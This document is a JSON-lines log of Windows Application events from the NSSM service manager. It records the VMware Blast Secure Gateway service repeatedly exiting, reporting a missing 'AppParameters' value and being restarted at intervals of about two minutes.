{"@timestamp":1646786065900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163965}}
{"@timestamp":1646786065901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163966}}
{"@timestamp":1646786194387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163967}}
{"@timestamp":1646786194390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163968}}
{"@timestamp":1646786194391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161128","0"]}}},"module":"Application","provider":"nssm","sequence":163969}}
{"@timestamp":1646786194391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161128","161128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163970}}
{"@timestamp":1646786194408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163971}}
{"@timestamp":1646786194409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163972}}
{"@timestamp":1646786194409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163973}}
{"@timestamp":1646786194410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163974}}
{"@timestamp":1646786322884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163975}}
{"@timestamp":1646786322885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163976}}
{"@timestamp":1646786322886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158984","0"]}}},"module":"Application","provider":"nssm","sequence":163977}}
{"@timestamp":1646786322886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158984","158984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163978}}
{"@timestamp":1646786322906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163979}}
{"@timestamp":1646786322906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163980}}
{"@timestamp":1646786322907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163981}}
{"@timestamp":1646786322907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163982}}
{"@timestamp":1646786451631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163983}}
{"@timestamp":1646786451632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163984}}
{"@timestamp":1646786451634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161468","0"]}}},"module":"Application","provider":"nssm","sequence":163985}}
{"@timestamp":1646786451634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161468","161468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163986}}
{"@timestamp":1646786451652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163987}}
{"@timestamp":1646786451652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163988}}
{"@timestamp":1646786451653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163989}}
{"@timestamp":1646786451654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163990}}
{"@timestamp":1646786580123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163991}}
{"@timestamp":1646786580125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163992}}
{"@timestamp":1646786580126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161000","0"]}}},"module":"Application","provider":"nssm","sequence":163993}}
{"@timestamp":1646786580126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161000","161000","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163994}}
{"@timestamp":1646786580144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163995}}
{"@timestamp":1646786580145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163996}}
{"@timestamp":1646786580145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163997}}
{"@timestamp":1646786580146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163998}}
{"@timestamp":1646786708632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163999}}
{"@timestamp":1646786708633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164000}}
{"@timestamp":1646786708634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160896","0"]}}},"module":"Application","provider":"nssm","sequence":164001}}
{"@timestamp":1646786708634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160896","160896","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164002}}
{"@timestamp":1646786708652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164003}}
{"@timestamp":1646786708653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164004}}
{"@timestamp":1646786708653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164005}}
{"@timestamp":1646786708654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164006}}
{"@timestamp":1646786837143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164007}}
{"@timestamp":1646786837146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164008}}
{"@timestamp":1646786837146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158752","0"]}}},"module":"Application","provider":"nssm","sequence":164009}}
{"@timestamp":1646786837147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158752","158752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164010}}
{"@timestamp":1646786837165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164011}}
{"@timestamp":1646786837165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164012}}
{"@timestamp":1646786837166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164013}}
{"@timestamp":1646786837167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164014}}
{"@timestamp":1646786965652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164015}}
{"@timestamp":1646786965654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164016}}
{"@timestamp":1646786965655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161380","0"]}}},"module":"Application","provider":"nssm","sequence":164017}}
{"@timestamp":1646786965655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161380","161380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164018}}
{"@timestamp":1646786965673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164019}}
{"@timestamp":1646786965674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164020}}
{"@timestamp":1646786965674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164021}}
{"@timestamp":1646786965675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164022}}
{"@timestamp":1646787094299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164023}}
{"@timestamp":1646787094300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164024}}
{"@timestamp":1646787094301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160296","0"]}}},"module":"Application","provider":"nssm","sequence":164025}}
{"@timestamp":1646787094302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160296","160296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164026}}
{"@timestamp":1646787094320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164027}}
{"@timestamp":1646787094320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164028}}
{"@timestamp":1646787094321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164029}}
{"@timestamp":1646787094321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164030}}
{"@timestamp":1646787222801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164031}}
{"@timestamp":1646787222803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164032}}
{"@timestamp":1646787222803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160880","0"]}}},"module":"Application","provider":"nssm","sequence":164033}}
{"@timestamp":1646787222804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160880","160880","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164034}}
{"@timestamp":1646787222821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164035}}
{"@timestamp":1646787222822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164036}}
{"@timestamp":1646787222823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164037}}
{"@timestamp":1646787222823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164038}}
{"@timestamp":1646787351303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164039}}
{"@timestamp":1646787351304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164040}}
{"@timestamp":1646787351305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159088","0"]}}},"module":"Application","provider":"nssm","sequence":164041}}
{"@timestamp":1646787351307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159088","159088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164042}}
{"@timestamp":1646787351336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164043}}
{"@timestamp":1646787351337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164044}}
{"@timestamp":1646787351343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164045}}
{"@timestamp":1646787351345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164046}}
{"@timestamp":1646787479847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164047}}
{"@timestamp":1646787479847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164048}}
{"@timestamp":1646787479848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160960","0"]}}},"module":"Application","provider":"nssm","sequence":164049}}
{"@timestamp":1646787479848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160960","160960","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164050}}
{"@timestamp":1646787479866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164051}}
{"@timestamp":1646787479867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164052}}
{"@timestamp":1646787479867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164053}}
{"@timestamp":1646787479868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164054}}
{"@timestamp":1646787608416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164055}}
{"@timestamp":1646787608417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164056}}
{"@timestamp":1646787608419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161364","0"]}}},"module":"Application","provider":"nssm","sequence":164057}}
{"@timestamp":1646787608419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161364","161364","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164058}}
{"@timestamp":1646787608435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164059}}
{"@timestamp":1646787608436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164060}}
{"@timestamp":1646787608437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164061}}
{"@timestamp":1646787608437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164062}}
{"@timestamp":1646787736928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164063}}
{"@timestamp":1646787736930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164064}}
{"@timestamp":1646787736931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159904","0"]}}},"module":"Application","provider":"nssm","sequence":164065}}
{"@timestamp":1646787736932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159904","159904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164066}}
{"@timestamp":1646787736949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164067}}
{"@timestamp":1646787736949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164068}}
{"@timestamp":1646787736950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164069}}
